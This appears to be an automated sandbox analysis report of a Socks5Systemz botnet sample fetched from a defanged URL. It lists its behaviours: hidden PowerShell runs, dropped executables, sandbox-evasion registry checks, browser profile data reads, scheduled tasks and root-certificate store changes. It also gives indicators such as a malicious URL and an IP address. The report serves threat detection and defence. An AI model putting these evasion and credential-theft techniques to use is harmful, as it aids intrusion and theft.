socks5systemz | hxxps://moneyz[.]fun/QRNhDm

Resubmissions

01-07-2024 15:54

240701-tb7fysyamb 10

01-07-2024 10:45

240701-mtdg9szgjj 1

30-06-2024 19:36

240630-ybkpeawhmp 10

Analysis

max time kernel
279s
max time network
424s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
30-06-2024 19:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://moneyz.fun/QRNhDm

Score

10^/10

socks5systemz botnet discovery execution spyware stealer

Malware Config

Signatures

Detect Socks5Systemz Payload 1 IoCs

Processes:

resource yara_rule

behavioral1/memory/7856-1360-0x0000000000930000-0x00000000009D2000-memory.dmp family_socks5systemz
Socks5Systemz
Socks5Systemz is a botnet written in C++.
botnet socks5systemz
Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.EXEpowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

7352 powershell.EXE
6788 powershell.exe
100 powershell.exe
8144 powershell.exe
6360 powershell.exe
7596 powershell.exe
7664 powershell.exe
Downloads MZ/PE file
Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.

Query Registry
T1012

System Information Discovery
T1082

Processes:

Ia9xpKRxIW6YtI.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Ia9xpKRxIW6YtI.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

Ia9xpKRxIW6YtI.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation Ia9xpKRxIW6YtI.exe

resource	yara_rule
behavioral1/memory/7856-1360-0x0000000000930000-0x00000000009D2000-memory.dmp	family_socks5systemz

pid	process
7352	powershell.EXE
6788	powershell.exe
100	powershell.exe
8144	powershell.exe
6360	powershell.exe
7596	powershell.exe
7664	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Ia9xpKRxIW6YtI.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation	Ia9xpKRxIW6YtI.exe

Executes dropped EXE 20 IoCs

Processes:

setup_nCwk1JFfIL.tmplamewav32_64.exeHider.exeoix6tKlzl4L84j5L.exe2TXuAZC7XG3JMk46ppaM.exeZRHdnyKeWQxYPNw8.exe2TXuAZC7XG3JMk46ppaM.tmpsetup.exesetup.exevixenjunior32.exesetup.exevixenjunior32.exesetup.exesetup.exeIa9xpKRxIW6YtI.exeAssistant_111.0.5168.25_Setup.exe_sfx.exeassistant_installer.exeassistant_installer.exeIa9xpKRxIW6YtI.exeqRzaRqL.exe

pid	process
7036	setup_nCwk1JFfIL.tmp
6204	lamewav32_64.exe
7608	Hider.exe
7244	oix6tKlzl4L84j5L.exe
6484	2TXuAZC7XG3JMk46ppaM.exe
7400	ZRHdnyKeWQxYPNw8.exe
6124	2TXuAZC7XG3JMk46ppaM.tmp
3752	setup.exe
7896	setup.exe
8104	vixenjunior32.exe
5796	setup.exe
7856	vixenjunior32.exe
8188	setup.exe
8008	setup.exe
7204	Ia9xpKRxIW6YtI.exe
7336	Assistant_111.0.5168.25_Setup.exe_sfx.exe
7476	assistant_installer.exe
6156	assistant_installer.exe
5264	Ia9xpKRxIW6YtI.exe
7600	qRzaRqL.exe

Loads dropped DLL 36 IoCs

Processes:

setup_nCwk1JFfIL.tmpDisappear.exeHider.exe2TXuAZC7XG3JMk46ppaM.tmpZRHdnyKeWQxYPNw8.exesetup.exesetup.exesetup.exesetup.exesetup.exeassistant_installer.exeassistant_installer.exe

pid	process
7036	setup_nCwk1JFfIL.tmp
7036	setup_nCwk1JFfIL.tmp
7036	setup_nCwk1JFfIL.tmp
6376	Disappear.exe
6376	Disappear.exe
6376	Disappear.exe
6376	Disappear.exe
6376	Disappear.exe
6376	Disappear.exe
6376	Disappear.exe
6376	Disappear.exe
6376	Disappear.exe
6376	Disappear.exe
6376	Disappear.exe
6376	Disappear.exe
6376	Disappear.exe
7608	Hider.exe
6124	2TXuAZC7XG3JMk46ppaM.tmp
7400	ZRHdnyKeWQxYPNw8.exe
7400	ZRHdnyKeWQxYPNw8.exe
7400	ZRHdnyKeWQxYPNw8.exe
7400	ZRHdnyKeWQxYPNw8.exe
7400	ZRHdnyKeWQxYPNw8.exe
7400	ZRHdnyKeWQxYPNw8.exe
7400	ZRHdnyKeWQxYPNw8.exe
7400	ZRHdnyKeWQxYPNw8.exe
7400	ZRHdnyKeWQxYPNw8.exe
3752	setup.exe
7896	setup.exe
5796	setup.exe
8188	setup.exe
8008	setup.exe
7476	assistant_installer.exe
7476	assistant_installer.exe
6156	assistant_installer.exe
6156	assistant_installer.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unexpected DNS network traffic destination 1 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.

Processes:

description ioc

Destination IP 91.211.247.248
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Enumerates connected drives 3 TTPs 4 IoCs
Attempts to read the root path of hard drives other than the default C: drive.

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Processes:

setup.exesetup.exe

description ioc process

File opened (read-only) \??\F: setup.exe
File opened (read-only) \??\D: setup.exe
File opened (read-only) \??\F: setup.exe
File opened (read-only) \??\D: setup.exe

description	ioc
Destination IP	91.211.247.248

description	ioc	process
File opened (read-only)	\??\F:	setup.exe
File opened (read-only)	\??\D:	setup.exe
File opened (read-only)	\??\F:	setup.exe
File opened (read-only)	\??\D:	setup.exe

Drops file in System32 directory 5 IoCs

Processes:

powershell.exepowershell.exeIa9xpKRxIW6YtI.exe

description	ioc	process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	Ia9xpKRxIW6YtI.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Ia9xpKRxIW6YtI.exe

Drops file in Program Files directory 1 IoCs

Processes:

qRzaRqL.exe

description ioc process

File created C:\Program Files (x86)\KwCCzMbLU\RFCKEx.dll qRzaRqL.exe

description	ioc	process
File created	C:\Program Files (x86)\KwCCzMbLU\RFCKEx.dll	qRzaRqL.exe

Drops file in Windows directory 3 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\pnPsUKnfnoEJVAtbZ.job	schtasks.exe
File created	C:\Windows\Tasks\LBkQMkaOkePFaGy.job	schtasks.exe
File created	C:\Windows\Tasks\bSqDvJefqHHToWFkhX.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 64 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
6492	6204	WerFault.exe	lamewav32_64.exe
6680	6204	WerFault.exe	lamewav32_64.exe
5536	6204	WerFault.exe	lamewav32_64.exe
6748	6204	WerFault.exe	lamewav32_64.exe
3972	6204	WerFault.exe	lamewav32_64.exe
5152	6204	WerFault.exe	lamewav32_64.exe
7084	6204	WerFault.exe	lamewav32_64.exe
2784	6204	WerFault.exe	lamewav32_64.exe
2456	6204	WerFault.exe	lamewav32_64.exe
2748	6204	WerFault.exe	lamewav32_64.exe
6868	6204	WerFault.exe	lamewav32_64.exe
6432	6204	WerFault.exe	lamewav32_64.exe
5660	6204	WerFault.exe	lamewav32_64.exe
7028	6204	WerFault.exe	lamewav32_64.exe
6432	6204	WerFault.exe	lamewav32_64.exe
6652	6204	WerFault.exe	lamewav32_64.exe
4052	6204	WerFault.exe	lamewav32_64.exe
5564	6204	WerFault.exe	lamewav32_64.exe
6148	6204	WerFault.exe	lamewav32_64.exe
6332	6204	WerFault.exe	lamewav32_64.exe
4820	6204	WerFault.exe	lamewav32_64.exe
4616	6204	WerFault.exe	lamewav32_64.exe
6860	6204	WerFault.exe	lamewav32_64.exe
2784	6204	WerFault.exe	lamewav32_64.exe
5608	6204	WerFault.exe	lamewav32_64.exe
5480	6204	WerFault.exe	lamewav32_64.exe
6052	6204	WerFault.exe	lamewav32_64.exe
5308	6204	WerFault.exe	lamewav32_64.exe
6096	6204	WerFault.exe	lamewav32_64.exe
3024	6204	WerFault.exe	lamewav32_64.exe
5628	6204	WerFault.exe	lamewav32_64.exe
6560	6204	WerFault.exe	lamewav32_64.exe
5068	6204	WerFault.exe	lamewav32_64.exe
6804	6204	WerFault.exe	lamewav32_64.exe
6148	6204	WerFault.exe	lamewav32_64.exe
5524	6204	WerFault.exe	lamewav32_64.exe
6096	6204	WerFault.exe	lamewav32_64.exe
7728	6204	WerFault.exe	lamewav32_64.exe
7972	6204	WerFault.exe	lamewav32_64.exe
8124	6204	WerFault.exe	lamewav32_64.exe
7488	6204	WerFault.exe	lamewav32_64.exe
7804	6204	WerFault.exe	lamewav32_64.exe
6288	6204	WerFault.exe	lamewav32_64.exe
7476	6204	WerFault.exe	lamewav32_64.exe
6336	6204	WerFault.exe	lamewav32_64.exe
2984	6204	WerFault.exe	lamewav32_64.exe
7216	6204	WerFault.exe	lamewav32_64.exe
7272	6204	WerFault.exe	lamewav32_64.exe
7016	6204	WerFault.exe	lamewav32_64.exe
7596	6204	WerFault.exe	lamewav32_64.exe
7820	6204	WerFault.exe	lamewav32_64.exe
6844	6204	WerFault.exe	lamewav32_64.exe
2984	6204	WerFault.exe	lamewav32_64.exe
7188	6204	WerFault.exe	lamewav32_64.exe
7340	6204	WerFault.exe	lamewav32_64.exe
7464	6204	WerFault.exe	lamewav32_64.exe
7576	6204	WerFault.exe	lamewav32_64.exe
7956	7608	WerFault.exe	Hider.exe
7236	5264	WerFault.exe	Ia9xpKRxIW6YtI.exe
1924	6204	WerFault.exe	lamewav32_64.exe
6100	6204	WerFault.exe	lamewav32_64.exe
8108	6204	WerFault.exe	lamewav32_64.exe
7252	7204	WerFault.exe	Ia9xpKRxIW6YtI.exe
4988	7600	WerFault.exe	qRzaRqL.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

taskmgr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

chrome.exeIa9xpKRxIW6YtI.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Ia9xpKRxIW6YtI.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Ia9xpKRxIW6YtI.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exechrome.exeIa9xpKRxIW6YtI.exeqRzaRqL.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer	Ia9xpKRxIW6YtI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	qRzaRqL.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer	qRzaRqL.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	qRzaRqL.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe

Modifies registry class 1 IoCs

Processes:

taskmgr.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings taskmgr.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings	taskmgr.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

setup.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4	setup.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 04000000010000001000000078f2fcaa601f2fb4ebc937ba532e75490f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e1996530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703080b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac89988140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f1d0000000100000010000000a86dc6a233eb339610f3ed414927c559030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e4190000000100000010000000ffac207997bb2cfe865570179ee037b92000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e	setup.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 5c000000010000000400000000100000190000000100000010000000ffac207997bb2cfe865570179ee037b9030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e41d0000000100000010000000a86dc6a233eb339610f3ed414927c559140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac899880b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e199604000000010000001000000078f2fcaa601f2fb4ebc937ba532e75492000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc